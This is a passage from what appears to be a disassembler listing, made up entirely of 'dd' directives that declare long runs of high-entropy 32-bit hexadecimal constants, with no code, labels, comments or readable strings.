		dd 96383911h, 0C036B79Eh, 0C1560AE6h, 7ECCFB95h, 0E1D94F2Eh
		dd 16642848h, 0C68D35A6h, 0BC5571Eh, 39E7678Ch,	8CEBE6BEh
		dd 5B1168DAh, 0B4FADEAFh, 4C403ABBh, 8C4FAE48h,	0C7E0A65Ch
		dd 0FFA16706h, 0C455685h, 84B66193h, 0C4F70B14h, 80B25432h
		dd 0C43DC39Ah, 5D1B0726h, 6014E5FEh, 1330DF97h,	0EEB2E7DFh
		dd 0BC12D0D5h, 0F56ED12Ah, 1880566h, 9E1EB1E6h,	371E5CA2h
		dd 72127A84h, 0F63B8310h, 80D493D4h, 0E7E0ABD6h, 0A53D8E7Fh
		dd 8514F2F6h, 23622132h, 0C662626h, 0C96BAE69h,	2700631Dh
		dd 5791B604h, 0B5327400h, 14D55FEAh, 0FF01C0BEh, 2EC2B1A6h
		dd 983C64E0h, 33CFB462h, 13B2B3CCh, 0B50B6BDBh,	0B239F4Dh
		dd 88731F99h, 27C11A04h, 0B22283B7h, 0A8BD016Ch, 9A2AA7D0h
		dd 0EC21EAAFh, 0D7E5DAADh, 0FC0E8632h, 0DD68ADE2h, 5EA4EA30h
		dd 0B9B57E76h, 0FF4796F1h, 57431CD2h, 0B091D9F5h, 38EB72DCh
		dd 72A88B3Fh, 0AEC86CA5h, 67FDF308h, 0BE4A1BD2h, 557B04C9h
		dd 0A3119BE2h, 0ED80B49Eh, 0DED02C9h, 8BC3A7CCh, 90535C36h
		dd 0EFB72E2Eh, 834DF2DEh, 7E19288Ah, 601F1C19h,	278EDB0Dh
		dd 0A9059845h, 0ACBE4B00h, 0C4B22067h, 16B41841h, 52D7B657h
		dd 0FFBFE072h, 0CBDFE06Fh, 0E879EAFFh, 1678EA0Ch, 753FBC9Fh
		dd 0B8FC1ACAh, 1634E9B1h, 36ECDFD5h, 0D6FA52D4h, 0B737D018h
		dd 8C142190h, 5F4EB28Eh, 769B9AB3h, 0F1DA9B5Ch,	0FB273C44h
		dd 0D64628B2h, 0BDD0F4B0h, 725112B4h, 85F2B178h, 0A2AAC8D0h
		dd 4282C581h, 0F7FF349Ah, 5D9F6B01h, 4D39EDB5h,	62C342D2h
		dd 0AE78809Bh, 0D575C26Ah, 99CAB4B8h, 0BE37B2DAh, 20C6AF09h
		dd 0D5EFF8E3h, 0DBA12D37h, 4C9F35F8h, 7CA93AD9h, 66E5316Ch
		dd 9D1351A8h, 342BC95Bh, 5F5E6F8Eh, 99F3E9E8h, 0DCF4361Fh
		dd 406A1B5Dh, 5F9095EDh, 4412734h, 0D564DA6h, 369F1DC7h
		dd 0EC6DF843h, 559EEF2Dh, 0AFFDA48Bh, 30B97B6Eh, 0CC5F1A6Fh
		dd 0CD9E30C3h, 30434721h, 0B3BA69BDh, 0A5590C9Fh, 0A8D1C752h
		dd 0F43B5A51h, 89643287h, 0A11E91Ch, 64060C07h,	64063467h
		dd 9D8CA028h, 0DD2B64Bh, 0DD84CDEBh, 0F9924A34h, 0A6551E5Dh
		dd 0A994F924h, 0C74F0789h, 7410E63Fh, 84610E29h, 713BEBE2h
		dd 0F916566Ah, 7CFF7FA6h, 6D1AB034h, 0F1230BB0h, 9589EE11h
		dd 8867C8F7h, 0E58233BEh, 8165EC0Dh, 57164AD1h,	44CB57CCh
		dd 42EB2A22h, 8C4AFC73h, 6112921Bh, 0FF44B09Ch,	0F9BD586Ch
		dd 24B76DA0h, 0E9F195ABh, 0BEC83C86h, 98F0B9E1h, 2DF99BA3h
		dd 40803FF7h, 0E80591DAh, 6D5F8346h, 1638F6B5h,	95E98565h
		dd 0CD613401h, 0CA2457A1h, 16F24BC5h, 2D649888h, 2F4DBF75h
		dd 66EB0476h, 7721A48h,	8CE6F8C7h, 14182C12h, 0FE47B46Dh
		dd 0A82A2C5Bh, 1A7E5AC7h, 2A6BB73h, 6BF44591h, 552CD9FDh
		dd 9D186804h, 0E40C2311h, 200EE403h, 97531C56h,	0B7044D37h
		dd 84B7EDE8h, 7F786B93h, 0B681773h, 601A78D7h, 218E97D5h
		dd 31C0BE75h, 9B9799B0h, 42839661h, 3CDF21B1h, 7C4A7517h
		dd 3DE1A739h, 0B8C0BD67h, 0E8A11C88h, 1AB6D755h, 97876E79h
		dd 94101BB1h, 28A80F0Eh, 15DB939Eh, 9BAE06BCh, 1653F647h
		dd 5042509Bh, 81B1058Ch, 405C52D3h, 5B44E4EDh, 52565F3Ah
		dd 3BE365A6h, 0BEF56DF3h, 34854602h, 5A679E9Bh,	0CFC26E07h
		dd 0CC1C8906h, 40087A2Eh, 96FFF066h, 4FB78BE7h,	42258389h
		dd 20227D86h, 27CA6AA6h, 8E4C8563h, 33457A45h, 61631946h
		dd 16644F7Eh, 5811B8AEh, 0FE681BE0h, 3F1707B2h,	0FD5CDC24h
		dd 67FE8B13h, 66DFFB3Fh, 0FD8749B4h, 0A6DD898Dh, 47A9C634h
		dd 441E1411h, 63AAE17Dh
		dd 61757260h, 0CE91A38Fh, 25D85B50h, 93BD0302h,	769F810Bh
		dd 0F533CC78h, 52C9E82Bh, 0D825968Ch, 0B989CC18h, 31078335h
		dd 3CEA97A0h, 0AD79AB23h, 0C4EE0A25h, 64B27F2Dh, 89D7F2BFh
		dd 0EA33B42Dh, 0DBD6F952h, 6622EBFFh, 673958A4h, 3CC35155h
		dd 9A17155Ah, 4A99A3FDh, 0B99B6C80h, 0F5436CD4h, 7AB530h
		dd 6F928182h, 4B9E13E8h, 8E55DC2h, 0B9AD163Dh, 8FF6C711h
		dd 124C223Ch, 73D903A4h, 0E20532E1h, 0F71D7BE7h, 0D785977Bh
		dd 0B7FB0F67h, 3DE5E768h, 3F712DF4h, 0E56F4DAFh, 0EFA0AE53h
		dd 225A2D3h, 9F2B078Ch,	54D1A931h, 73EC114Eh, 0B8EE07D4h
		dd 967B302Dh, 8FA75213h, 0DE834B39h, 867AB1A6h,	194F3E0Ah
		dd 98ADA6D8h, 1143D1A5h, 986B433Fh, 5A98B58h, 2F6781ACh
		dd 7E207E53h, 1EA841Bh,	79885C32h, 46AB8B83h, 86295D17h
		dd 0CFD8B967h, 2D287A2Ch, 9DDDE9A9h, 4470C375h,	0AF5298F2h
		dd 4C0820DAh, 6B6411C5h, 2847A530h, 0D399256Dh,	0CF21646Dh
		dd 0BBAC6A2Eh, 7213D591h, 3490C83Dh, 2D13185Ah,	0F719F4C7h
		dd 917D07AEh, 925BF60Dh, 0B58A4288h, 701520C5h,	0E2ED2DDDh
		dd 0F252762Bh, 0FD286D00h, 217A8202h, 5F65197Eh, 0DB9F1ECCh
		dd 8531B3CFh, 7058B6C0h, 76D86884h, 0C7BBA1F4h,	0EC594146h
		dd 3A679AE1h, 0FF83610Ah, 0CD4E5396h, 24831210h, 5A9C1942h
		dd 71468DF9h, 0AA30D81Fh, 3CB42AA6h, 0D8226E3Fh, 7E81D2E3h
		dd 4B19A271h, 0FF63C0Eh, 0C42AB547h, 771BC567h,	0FE07CFF1h
		dd 5E3403D3h, 0E7F0B755h, 9B56B409h, 1BB6085Dh,	354E1C56h
		dd 0FD9F2166h, 4F216EE8h, 64F1691Dh, 0A5D3C20h,	0DEA31F84h
		dd 98F2B604h, 83D78D70h, 0E7C98250h, 4F99E1C5h,	0A83C21Ah
		dd 81570B76h, 49AA8072h, 9DD52500h, 9CF5B0FFh, 0AB71A97Eh
		dd 0C8063DA0h, 2F5B6A03h, 0CB3CF72Eh, 0E266A0Fh, 0AEFF7865h
		dd 1F62E6B2h, 0ADAB965Ah, 1EB706D9h, 0ECA430E5h, 6E7B5DCAh
		dd 5FE425EFh, 38A6B61Bh, 33D28665h, 601947FDh, 0D954AAA6h
		dd 0B8A1333h, 2D0DAD45h, 527C8E2Eh, 53ABE523h, 5E7B305Dh
		dd 0DF99C2A5h, 0E4A4D09Ch, 0C31526CFh, 5561C272h, 0E0E7987Ch
		dd 2DDAA615h, 7E2F4052h, 1058953Dh, 0EB308B65h,	0E1D8B290h
		dd 8F1798FFh, 4141A71Eh, 9C7C05BEh, 3124AE18h, 0FDAC50D1h
		dd 7EDAA7D1h, 1E8BC620h, 44D35E83h, 764B24E4h, 0A29EB462h
		dd 1B0C0037h, 0D928583Bh, 97A86C36h, 3F551E72h,	0F3675D39h
		dd 0FC37400Eh, 14545C38h, 9549D734h, 0A801D60h,	7BB04F1h
		dd 63FDCA89h, 55859921h, 823E4833h, 0E605DE12h,	20BE6157h
		dd 500761B7h, 0CF74A4EAh, 13367C9Ch, 40821AC2h,	2CE7AA46h
		dd 0C4F13A6Dh, 40F4CC28h, 0F4C96505h, 7F305352h, 4F3CBDE2h
		dd 0AEDCF1D1h, 9376D454h, 466BF7DDh, 0BDD02F5Ah, 2A881E1Ah
		dd 0F6820AEDh, 0C48A4EBh, 9347C50Fh, 0B7C1D73Bh, 0EA72BAD3h
		dd 0B6331227h, 1D82EBECh, 7EF54660h, 9DBDE267h,	0D0857EDBh
		dd 0AC126C97h, 13BFA758h, 0FCDCBB5Ch, 67F39A0Ah, 5B5B74C0h
		dd 6FD33F9Dh, 1CE9B746h, 0A9A1F8E2h, 0DD536147h, 3D15B2B2h
		dd 262B5249h, 0E5F090D3h, 844FBE9Eh, 3A3EC2F1h,	579A4AFEh
		dd 0D45D03h, 0E0B3FAFCh, 0E90F1CA6h, 59BAF392h,	0F70804C0h
		dd 0DA5B4EB9h, 5799B298h, 314763E4h, 97C7AEF6h,	0B65BC405h
		dd 3715D549h, 5EB71AA3h, 0AE98C060h, 6615901Ch,	6B738381h
		dd 0E0685786h, 94F8D426h, 6F562D03h, 350176D3h,	1A828624h
		dd 6643379Eh, 1F995441h, 0F67D1269h, 1596835h, 1CB89B1Eh
		dd 143C3101h, 1AB27A79h, 11641614h, 0EA804030h,	4C1210BAh
		dd 749272BCh, 0FF0BDF5Eh, 0F7826131h, 4600B558h, 9E31AC1Eh
		dd 6E8B7D12h, 675EDA97h, 0E2A8F510h, 0ABC32486h, 0D8FFF742h
		dd 5F043034h, 5E898B5Ch, 0C8FC18CCh, 6AC36FBAh,	0FE397F6Bh
		dd 4F87CE17h, 0D21CAF36h, 0B001D7E7h, 0DAE1D176h, 2DF93E46h
		dd 749B45C6h, 1C6303EEh, 34522169h, 47648DEAh, 864CF452h
		dd 744F5832h, 0DA6E5E25h, 9B7B4440h, 37F4D4F8h,	0D231CB0Dh
		dd 2ADD6EA7h, 0E06161A8h, 9BF32618h, 440B0CD0h,	6C3590B4h
		dd 6B8749B6h, 0EEA77A44h, 3EE7B28Ch, 0D135C096h, 0E9EC2565h
		dd 85951330h, 0ACA01073h, 0E5BCE1B8h, 0A1F6ABCh, 6E0B7121h
		dd 3E88D686h, 4EF579B7h, 3E2D6A31h, 9E4232B2h, 10DFC824h
		dd 68AA61E8h, 0D731C45Ah, 0EF7BAA3Fh, 4CAA9A46h, 0F37A85DFh
		dd 2D3EE089h, 3B59D287h, 0EFAF47E5h, 0DFC3CD11h, 433487B2h
		dd 0D2419CACh, 0FE4CB5D3h, 41DE6B27h, 4D26FADh,	4C505C70h
		dd 0B52FAE08h, 5AD2DEBDh, 279B6692h, 769C8448h,	37E894D9h
		dd 112AA023h, 2B89E540h, 9732F50Ah, 4CC9129Ah, 0B8A3444Eh
		dd 9967D61Bh, 33D24EEAh, 0EE40A0DAh, 0A8AB0F23h, 0D9AA482Eh
		dd 52374002h, 3286AECDh, 0B993CAAFh, 0ADAA3DD8h, 68087D6Fh
		dd 0BF9E051Eh, 1F272103h, 500AC654h, 9ECD4B22h,	8B6B0E60h
		dd 4E4CA06Eh, 3B0B3A15h, 4DB49997h, 0F9298B41h,	762F60DAh
		dd 0FEE6255Dh, 108CEC2h, 8E072264h, 0EC55788h, 943CF8ACh
		dd 0ED0C98BCh, 569101FAh, 0F5AD9F72h, 0E00C9477h, 0EC363F69h
		dd 8E7684D6h, 0BFF8C7C1h, 0B4A43536h, 0C1E71020h, 5C1E8451h
		dd 0D74F00A9h, 253858Fh, 54D23C91h, 0D879F75Dh,	8CF4FA42h
		dd 0C9394A23h, 5ACBEBB4h, 2DF7FB28h, 2A4F47Dh, 7772CFCCh
		dd 0A192FB8Eh, 0C5F8C6BBh, 259640E6h, 3C3F7EDDh, 0C38CDBAFh
		dd 11F11804h, 0A41A2BC1h, 2E8CA7Dh, 7EDD4724h, 0D9B63B2Ch
		dd 361D54BDh, 477BD2D1h, 710AED3Dh, 0D159CA7Bh,	1EBEAA0Fh
		dd 94CEA8A9h, 634F0DB3h, 3E37272Bh, 0A8D352C3h,	570CDD1Bh
		dd 8F16B1E5h, 5F2615Ah,	30AC9088h, 205CC916h, 0F7A1D425h
		dd 19A6ECE9h, 0FF40EB54h, 3415A761h, 0B575A500h, 0EC6D6271h
		dd 0C8B738D7h, 81495172h, 0B479F004h, 2588A211h, 5AF3456h
		dd 25E4FD86h, 6C2AD586h, 1B2A48BAh, 958C8212h, 98F915A1h
		dd 120FD729h, 36146EB0h, 5DBFE06Bh, 922C873Eh, 5903CE43h
		dd 44F754FCh, 0A7D6EF2Ah, 0F159D832h, 485C2FD5h, 9C3B641Fh
		dd 72039FF3h, 47F0AC34h, 0BD96F3AEh, 765EA610h,	0C13C26DCh
		dd 5DFD843Ch, 33A675E1h, 0FA8ADAC6h, 8D14866Ch,	0A05D0091h
		dd 7871DE7Ah, 0B5935F1Bh, 1385B299h, 756281AFh,	19F25F72h
		dd 0F11D98ADh, 0C3ABCF10h, 23A92914h, 6E5EDE7Ch, 0A31EE08Dh
		dd 0A37DAB82h, 43533641h, 4CBB78C7h, 6269D826h,	0B704CB4Fh
		dd 58972CA0h, 86998B9Ch, 8E77FD02h, 0CEC5C73h, 0C3E563E1h
		dd 0F366980Eh, 0D0804DA9h, 0D8B12B3Ch, 94CA663Bh, 163A58B1h
		dd 0C524151Fh, 61670D41h, 12A195FCh, 0BCC1B7CAh, 64F270A1h
		dd 0CFC66195h, 0F95E0A5Eh, 13580ACFh, 5DA334A9h, 25407728h
		dd 0F7B0C050h, 6926918Fh, 9D8ED11Ah, 3AB039D0h,	57F73FA4h
		dd 0E16E78AEh, 0F1A5D392h, 0D03F101Ch, 0E3F18121h, 160BD959h
		dd 0C9166FF8h, 0E5B8E0B0h, 922D07ACh, 99038E1Ah, 4F774C0h
		dd 47D69F24h, 0B959C12Ah, 305C2BDBh, 0F83B661Dh, 0EC0398F2h
		dd 1EF0AD34h, 5916F32Eh, 0E79EA6D1h, 0F65C26BCh, 59033E13h
		dd 1CB37C5Dh, 36EADB7Ah, 0E4CAD24Bh, 6DD420E1h,	0B51F3914h
		dd 1881BF8Ah, 17F3BCF6h, 5D0B738Fh, 259AE200h, 0B73CEAC4h
		dd 0A98B0A5Fh, 0C4B847Bh, 6414BF71h, 0D7869779h, 956DA0C2h
		dd 0F5B4990h, 5CBF7D46h, 622CDD49h, 0B70BCBB7h,	0B896ACB2h
		dd 0DB8C585h, 0EE45DF1Fh
		dd 428DACFBh, 27841FD8h, 5F669C68h, 0F48043DCh,	0EEB12AFCh
		dd 9DCA66F5h, 1AAA588Bh, 0C7E4154Fh, 66470D63h,	5111958Ch
		dd 96F9B782h, 59A11E1h,	0C3C86187h, 79570B1Fh, 535C8A37h
		dd 0BFA1F4B9h, 0B54397F0h, 8FB34050h, 8D26D99Fh, 0C38EED1Bh
		dd 2D700BC0h, 2C1B61D6h, 38AE7FCDh, 0F0C5D218h,	0D8CF11CCh
		dd 0A4298137h, 1627D9A7h, 0C9606FE0h, 0E5A1E0ACh, 0D22187B2h
		dd 19404E05h, 0C4F614DFh, 67D60F5Bh, 515E087Ah,	385C37F1h
		dd 0F43B700Dh, 0EE0391CAh, 1DF0D138h, 5A96F1A8h, 67DEA190h
		dd 0B67C279Ch, 0B9133E83h, 0CBB7C85h, 0CEEEDB06h, 0E0C8D246h
		dd 0D3D720D8h, 981CB918h, 9401FF70h, 86339CF4h,	852B438Eh
		dd 26ADA00h, 0C124EEC4h, 0A087085Fh, 10CD877Bh,	48D5BC71h
		dd 0A4DE718Dh, 0F2DC6302h, 0F232AC4h, 5CA36AA6h, 6222D477h
		dd 0B702D777h, 0B8922E4Ch, 8DBA3AEAh, 0E4A3E08h, 4CEC3C40h
		dd 63E53364h, 0B366B06Eh, 3881B1D2h, 0CCB13155h, 0AECA61E7h
		dd 112A59B7h, 4BA4158Ch, 0A4270D82h, 3201959Ch,	4F31B79Ah
		dd 6CAA7099h, 0B3AA6199h, 0FB440B78h, 8C570AC8h, 9E25B4A8h
		dd 8501B728h, 87907050h, 8129619Fh, 8186A91Bh, 0B42DC0h
		dd 40F535A4h, 0E0E987AEh, 0F0E45692h, 0D8DF569Ch, 0A421A01Bh
		dd 1623A979h, 0C9627768h, 0E5A2E4E8h, 92220590h, 99020934h
		dd 84F635D7h, 7D63FDFh,	415E30B8h, 0A05C3390h, 0B03B723Dh
		dd 880392C2h, 0CF0D23Ch, 4216F22Ah, 0E31EA653h,	709C267Dh
		dd 98233E73h, 7C037C0Dh, 0C612DB42h, 0FF16D264h, 51E620F7h
		dd 5F64390Fh, 0B59D3F4Bh, 0B67D7CF6h, 0DCA538Fh, 4E7A5200h
		dd 0A32C22C4h, 0B380E65Fh, 0B4F967Bh, 4C9AB471h, 0A2BFFD0Dh
		dd 0F3CC1D42h, 0FAB0BE4h, 5C649AB6h, 6200CC8Fh,	0B731D37Bh
		dd 0B969A04Eh, 0DA67BEBh, 4E441E08h, 0ACED0CC0h, 73E58B27h
		dd 8B66744Eh, 3C8057A2h, 0C2B1201Dh, 0AFCA69C3h, 11AA5525h
		dd 0C86417D5h, 0E4070EBEh, 0D2718A92h, 0DF29B612h, 14A6705Dh
		dd 0D7AC617Bh, 65450B69h, 0D5578AD0h, 0FAA674D4h, 94C1D726h
		dd 1EF06057h, 45D9699Ch, 0A75E951Ah, 31982FC0h,	484332A4h
		dd 0EC1086AEh, 0F2F8D612h, 18EE965Ch, 0C7139628h, 25D4354Dh
		dd 0DCC3B7BBh, 0F5B30488h, 64AF551Fh, 0E98F3443h, 82BAB46Ch
		dd 0AA37DA1Eh, 31698248h, 2B6FF5B0h, 0AE4E5396h, 7A8AA1E5h
		dd 2EE04201h, 439689DBh, 0B9DFF14h, 20BD2369h, 4432CF2h
		dd 0B9C86DC2h, 76453E2Ch, 0CB15D49Fh, 9B8D3500h, 570FA90Bh
		dd 0E9153AC2h, 34F05211h, 47B3FA88h, 6BC222C0h,	86AB36C5h
		dd 0AB9C1827h, 5A1A41F2h, 489BDDB2h, 0B4446D8Ch, 0E04E21F6h
		dd 0BCC9F7Bh, 5C579C6Eh, 6A78DD87h, 4829FE79h, 0B991EA5Dh
		dd 0ADCC83F8h, 7157180Fh, 8C12FD55h, 0D62608F7h, 6FE7B126h
		dd 8066B2h, 0F1E64E56h,	0A8B7EE29h, 0B2AE5C3Bh,	202416CAh
		dd 0C418F154h, 0E1D9FD2h, 101CA652h, 135D8F82h,	0DBAEEDCFh
		dd 61626361h, 0C3A91AD5h, 0E926C8A2h, 438D8AAAh, 36D865A8h
		dd 25C9709Ch, 48561497h, 0C1CCAE3Fh, 4C41635Fh,	6303422Dh
		dd 0C00D751h, 0AD6ED61Ch, 16598A65h, 16BF899Ah,	0A9C4D758h
		dd 0BC8BFCACh, 1F9018CDh, 664FCF4Bh, 4778D2A3h,	2F83FEC0h
		dd 215928F3h, 594C5BD3h, 8C531A9Eh, 7C13AB76h, 0AF0F75Fh
		dd 0AB40A19Fh, 0E29EEAC6h, 7DCFCE2Fh, 273C3973h, 0F87B2D33h
		dd 7E0ADB46h, 171283ABh, 659079A7h, 9A75380Dh, 0B260C75Ch
		dd 63A363E9h, 0FD75F01h, 6FDC7A6Bh, 0ECC9C5D4h,	78C8E2A3h
		dd 84C6112Eh, 0C3D3A59Dh, 5EE00D48h, 0F0B61DD7h, 7269ADB4h
		dd 5B77366Eh, 62F33B24h, 0C3C5013h, 0A96D504Eh,	48137EBAh
		dd 794831F5h, 0E3BE7385h, 2A1D8810h, 9B665583h,	5679901Bh
		dd 36F4AF82h, 0A1CA0922h, 0E95DCA19h, 8D5319A9h, 0CCC85E5Fh
		dd 0FA01786Ch, 0EF59525Ah, 6CB60583h, 9FA03054h, 5A67CFE2h
		dd 40B665Dh, 0B1437D83h, 167E7F74h, 4DCF1056h, 34F985E8h
		dd 0B70A9F72h, 2115ACD0h, 4DCE0A4Ch, 637BD8AEh,	87D852D1h
		dd 0CB379BC0h, 64AA4532h, 6341E57Ch, 19C45C4Ch,	668B308Dh
		dd 7A04735Eh, 19188146h, 0C2CDBA8Ch, 0F22AB25Fh, 1599A00h
		dd 85B0172Bh, 41B2198Eh, 0C50B47E9h, 1AD2D5Eh, 4969E02Bh
		dd 72DE5534h, 0B00C35D7h, 0BDE7C6E6h, 0DC1A7B9Fh, 51E0F34Ah
		dd 2E938B6Bh, 5BFBD0EEh, 8FB5CC0Bh, 0B61D9738h,	0DFD51CF9h
		dd 95557C75h, 9EBBAF88h, 984D2EC4h, 0BAD2B0CAh,	251E1B6Bh
		dd 88C2AD04h, 4A9283C8h, 0F0C9B06h, 0F78F2864h,	0AC148BE6h
		dd 329A2497h, 0A72C0E06h, 327DB6B4h, 8BF4F3DAh,	8AC700Bh
		dd 0CA668ACBh, 0A06F8E21h, 9D12956Bh, 7C7F22A8h, 3CCC99BCh
		dd 0A2CA6997h, 12AAB563h, 41D13407h, 0CE853528h, 0B3AAC92Dh
		dd 0AF6A3613h, 0B73A8A08h, 0AB154Bh, 3B01B5Ch, 412D2AC4h
		dd 0E0D6A477h, 9522B437h, 48113607h, 0ADB25F9Ch, 0E225C4F6h
		dd 0C5E5B049h, 4D9D3034h, 515BD7FDh, 768F5790h,	248DA8ECh
		dd 58E12FCBh, 5F770169h, 0FA51748h, 0CEFFC25Dh,	9356C6FEh
		dd 676858BDh, 8BA52C2Ah, 6F856169h, 1592F17h, 36D95899h
		dd 600A4809h, 786BB089h, 0E0E0A6EFh, 0BBE905A8h, 8A154E7Eh
		dd 611CC6B9h, 0E71E641Eh, 0FDD22430h, 2F5985E3h, 0C7DD8F78h
		dd 49FA697Bh, 0A82AF93Ah, 0E379B61Ch, 517A96AAh, 1B48F989h
		dd 6EBBFB74h, 674DF14Dh, 442F01A0h, 0C7169E0Eh,	0B41FC9Ah
		dd 0B3197CF1h, 7D4D7743h, 67BA7721h, 5C044AF3h,	62E8D3C7h
		dd 0E5D1D00Bh, 7E6DC80Fh, 0A5248BAAh, 4A2D6118h, 7C12CC4Ch
		dd 0B3F5CB4Fh, 94993DCFh, 0E4D367E2h, 3AB15188h, 0A2362854h
		dd 5AA531Dh, 35219BFDh,	938F64F8h, 53B175D6h, 0D6525E03h
		dd 2C3F707Ch, 0DA48E810h, 0F8C85EA2h, 0C73BD984h, 0E2CD75BCh
		dd 118EA9CFh, 0D9B3A957h, 0DBE6F667h, 86FAF0E5h, 4009BC00h
		dd 4E7322E1h, 0AFB580AEh, 7E06BDEEh, 0B3236A19h, 9B5650FEh
		dd 16410641h, 1FC44C30h, 8C8B289Ch, 91BF73DBh, 5C91DC33h
		dd 0C9F1B928h, 0CF855E1Bh, 0F15976FEh, 0C8A36158h, 0EAD31F6Dh
		dd 0A303AB32h, 0E78D25B0h, 9503F7C3h, 8A2E0AFh,	0CD79A873h
		dd 10FB53A6h, 2DEB8230h, 0F69133F0h, 0F395D294h, 1211A9A5h
		dd 8FE2ECC8h, 0EE972C19h, 2BF9B5F1h, 0F36AE060h, 477EF8Ah
		dd 60F1BBC0h, 0ABC9940Fh, 0F8419D7Bh, 1D87AB8Eh, 0A1F91465h
		dd 0FC0CB482h, 0FED68ECh, 36F80F4Fh, 9E52A9A3h,	0A73FE75Fh
		dd 4605CA40h, 0DEA47413h, 8E0F2FE3h, 8F2EB941h,	0CCE5D99Ah
		dd 26EF85BAh, 9D840D0Eh, 52E1E4E0h, 5B3505A7h, 86795313h
		dd 49245ED7h, 668B87F0h, 57D575EBh, 0E7605E54h,	3C83707Ch
		dd 2F3A20Bh, 13A28A84h,	91500AD5h, 0EF7ABF80h, 0EF72D2A4h
		dd 0DB512FA8h, 0DBF7E939h, 127581E5h, 0D693A73Ch, 0B124ACA4h
		dd 0AAC07F50h, 768641E1h, 248C28E0h, 12573056h,	0E94035CCh
		dd 4CB16E87h, 1A74D3F0h, 6CA3FC01h, 0F34820F5h,	89F5A6D8h
		dd 0B82B5F5Dh, 613336C7h, 0B01B5638h, 3BFDC51Dh, 8777548Ah
		dd 0A8550F1h, 42FD38FFh, 0BDDE6510h, 0ADB0AC2Fh, 0BD8A6C34h
		dd 59BE2E9Fh, 0C9428B5Fh, 0DBAAD6F2h, 0ED0C288Bh, 0E067394Ch
		dd 0B3653C8Ah, 7E76BF8Ch, 1F832874h, 0E7CFA15Eh, 8C50A921h
		dd 0D1D8800Ch, 0F76E197Bh, 1E015F21h, 6535FE0Dh, 0B58EC4CEh
		dd 84ED48D4h, 198D7613h, 27A0538Bh, 0DDD1DB63h,	0DF6DCC15h
		dd 8056301Ch, 0DE2D975Ah
		dd 649B7794h, 53A2934Ch, 449ED60Eh, 0F4B163B7h,	0E801B46h
		dd 414336EBh, 9BFF904Ch, 0DB08951Ah, 0E5764F8h,	0E2540728h
		dd 0EF0C5E00h, 202D707Ch, 0CA6F0747h, 92470991h, 86DD8691h
		dd 0A212FB22h, 0BA9C737h, 3FB04010h, 0A9CB1C15h, 0A6645D47h
		dd 2105D493h, 4DD0204Ch, 15C604AEh, 333CD267h, 1B421537h
		dd 77DEDB7Bh, 9FEB1A14h, 36288585h, 19632899h, 175767D4h
		dd 281CA3F5h, 0F5F62717h, 0A488E39Fh, 0D2BCEF2Dh, 0EE0F8A1Ch
		dd 0B4515C67h, 0DEF3EEC7h, 0DBF6C90h, 4E527BC8h, 939B6246h
		dd 0F5BB2576h, 0B813291Bh, 0FC4EF0CFh, 1EC29E2Eh, 289D2DC2h
		dd 0B3A1E016h, 0E9A7300Bh, 0B3E200B2h, 0B39E907h, 7A28A848h
		dd 0E63104DBh, 0C9677328h, 57470DD6h, 507BC46Fh, 0C595E9FAh
		dd 833571D8h, 0F38F3B02h, 1F872BC4h, 19896ACCh,	12FF0407h
		dd 34399778h, 7E0BC2A8h, 8DA69ABFh, 1EAB23F7h, 0C1EE884Ch
		dd 26683D1Bh, 0CC310583h, 1E686FA7h, 0A5B11893h, 4134EC61h
		dd 1CD5ACE8h, 0A46427F8h, 0B67285BDh, 0BAF5CFA3h, 0A06B952h
		dd 0A182208Eh, 158A610Dh, 0EB3D08E8h, 0B514548Bh, 0B3EAE93Ah
		dd 475452AEh, 55CCFB00h, 0CF399C17h, 49070307h,	0D6275DB5h
		dd 677D2DD1h, 63398FE8h, 8CFACF54h, 24BBD799h, 6C7EA4F0h
		dd 0E93B5B78h, 8CA62897h, 0BED57B38h, 1B02A6ADh, 0CE4E8AC1h
		dd 0DE59024h, 0EC0E924Ch, 12590CBEh, 0DF50EB7Ch, 82D34471h
		dd 2103AB0Bh, 820623BCh, 41E1D1D8h, 6F1FA966h, 939060FCh
		dd 0F8DCBC04h, 5A5BF413h, 810F80FDh, 72D35BC1h,	0ED7D77A8h
		dd 5E33B01Bh, 2679D492h, 4FA02FF8h, 0FB48AC84h,	6F266AEBh
		dd 1966EBC4h, 92D6B8A9h, 0B6B6D8Ch, 0B03DC70h, 24453801h
		dd 799400BDh, 54B3433Ch, 0D55050EBh, 354103EAh,	3C35CC30h
		dd 0A486DF53h, 785B6AB1h, 3BB835B0h, 0E96B601Ch, 0B56CCD5Dh
		dd 0E19A3D8h, 177FAF58h, 634631DAh, 0A035E856h,	0E9EFD8C9h
		dd 493F48A3h, 0EF515D69h, 10575DEh, 13CA5E5Ch, 2A6F707Ch
		dd 8AB39ACAh, 7E0F49Eh,	30DBFE2Bh, 0E697223Eh, 94DD5E27h
		dd 0DA9A15A1h, 2FBB1654h, 3D179391h, 0C27A04C0h, 134C4BA6h
		dd 636CDDF5h, 0E7E001F7h, 0CB1EEE0Fh, 0DEDABD11h, 0E256F399h
		dd 4A2DF89Dh, 22ED2960h, 92559573h, 9F49C00h, 0C9F5CDBEh
		dd 625853D6h, 0CE0A366Eh, 26B49688h, 653B4C4Eh,	95FD288Fh
		dd 1BC1A20Ch, 0AE1DE323h, 631B2E2Fh, 29B327FCh,	6D63CBB2h
		dd 68B391Ch, 27C68E28h,	0E145D01Dh, 39F27EBEh, 3A3EE4E7h
		dd 0A0D09AC0h, 3A5B58FCh, 76F9F5DBh, 909F3603h,	98A38EC4h
		dd 3E4B845Fh, 0F8D1357Bh, 0A4FF521h, 243B018Dh,	0FB78782h
		dd 0F0DAF6D4h, 0D55C6F79h, 9E8ADAC4h, 3CC669C4h, 4696326Dh
		dd 274C3AC7h, 7476615h,	963DEDAh, 7C1A3159h, 0E0A23D30h
		dd 0B36877D4h, 234EE721h, 28436162h, 24A30848h,	9571D5A1h
		dd 0DD0B8D4Fh, 0AC36DC7Bh, 0F722BE05h, 0EA62747Ch, 7D5BEA4Bh
		dd 1EF6A9E2h, 0B7EE0AD4h, 2FEB3C8Bh, 5094FBAEh,	589DE9D6h
		dd 0D02FF19Ch, 0B6E03499h, 0E04B0EF1h, 0C41FE729h, 0FAB2DAEBh
		dd 0F2F0EF1Bh, 230137E6h, 945BFED0h, 178EA6A7h,	319BF708h
		dd 6E3021ABh, 90DE9121h, 10E49C6Dh, 417E768Ah, 825CE37Bh
		dd 311C5D7Eh, 35DF9A83h, 0E97A4CF2h, 3402ABB0h,	0E54DDA79h
		dd 79FA396h, 7CB667Eh, 8A30A690h, 8946FA4h, 9F18758Ah
		dd 415ADFA3h, 25B66A1Fh, 71C120FEh, 6F355C88h, 0FE5F8A2h
